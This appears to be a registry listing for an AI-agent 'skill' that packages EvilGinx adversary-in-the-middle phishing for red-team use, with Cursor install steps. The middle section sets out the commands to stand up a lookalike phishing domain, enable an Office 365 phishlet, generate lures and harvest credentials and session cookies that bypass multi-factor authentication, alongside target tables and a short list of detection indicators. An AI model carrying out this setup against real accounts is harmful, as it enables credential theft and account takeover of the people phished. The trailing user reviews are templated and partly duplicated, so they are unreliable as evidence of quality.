Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.
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Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-initial-access-with-evilginx3Execute the skills CLI command in your project's root directory to begin installation:
Fetches performing-initial-access-with-evilginx3 from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-initial-access-with-evilginx3. Access via /performing-initial-access-with-evilginx3 in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
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| name | performing-initial-access-with-evilginx3 |
| description | Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - red-team - initial-access - phishing - evilginx - mfa-bypass - adversary-in-the-middle - credential-theft |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - File Metadata Consistency Validation - Application Protocol Command Analysis - Identifier Analysis - Content Format Conversion - Message Analysis |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets
config domain example-phish.com
config ipv4 <server-ip>
phishlets hostname o365 login.example-phish.com
phishlets enable o365
phishlets
lures create o365
lures get-url 0
lures edit 0 redirect_url https://legitimate-site.com
# Integration with EvilGoPhish for combined campaigns
# Provides GoPhish email tracking + EvilGinx3 credential capture
sessions
sessions <session-id>
# Session output includes:
# - Username and password
# - Session cookies (authentication tokens)
# - Custom captured parameters
| Tool | Purpose | Platform |
|---|---|---|
| EvilGinx3 | AiTM phishing framework | Linux |
| GoPhish | Phishing campaign management | Cross-platform |
| EvilGoPhish | Combined EvilGinx3 + GoPhish integration | Linux |
| Cookie-Editor | Browser cookie import/export | Browser Extension |
| Modlishka | Alternative AiTM proxy framework | Linux |
| Muraena | Alternative AiTM phishing proxy | Linux |
| Target Service | Phishlet | Captured Data |
|---|---|---|
| Microsoft 365 | o365 | Session cookies, credentials |
| Google Workspace | Session cookies, credentials | |
| Okta | okta | Session tokens, credentials |
| GitHub | github | Session cookies, credentials |
| AWS Console | aws | Session tokens, credentials |
| Indicator | Detection Method |
|---|---|
| Newly registered lookalike domains | Domain monitoring and certificate transparency logs |
| SSL certificates for suspicious domains | CT log monitoring (crt.sh, Censys) |
| Unusual login locations after phishing | SIEM correlation of authentication events |
| Session cookie replay from different IP | Conditional access policy alerts |
| AiTM proxy headers in traffic | Network inspection for proxy artifacts |
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
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Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
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mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
performing-initial-access-with-evilginx3 has been reliable in day-to-day use. Documentation quality is above average for community skills.
performing-initial-access-with-evilginx3 reduced setup friction for our internal harness; good balance of opinion and flexibility.
I recommend performing-initial-access-with-evilginx3 for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
We added performing-initial-access-with-evilginx3 from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Registry listing for performing-initial-access-with-evilginx3 matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: performing-initial-access-with-evilginx3 is focused, and the summary matches what you get after install.
We added performing-initial-access-with-evilginx3 from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
performing-initial-access-with-evilginx3 fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
performing-initial-access-with-evilginx3 reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in performing-initial-access-with-evilginx3 — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
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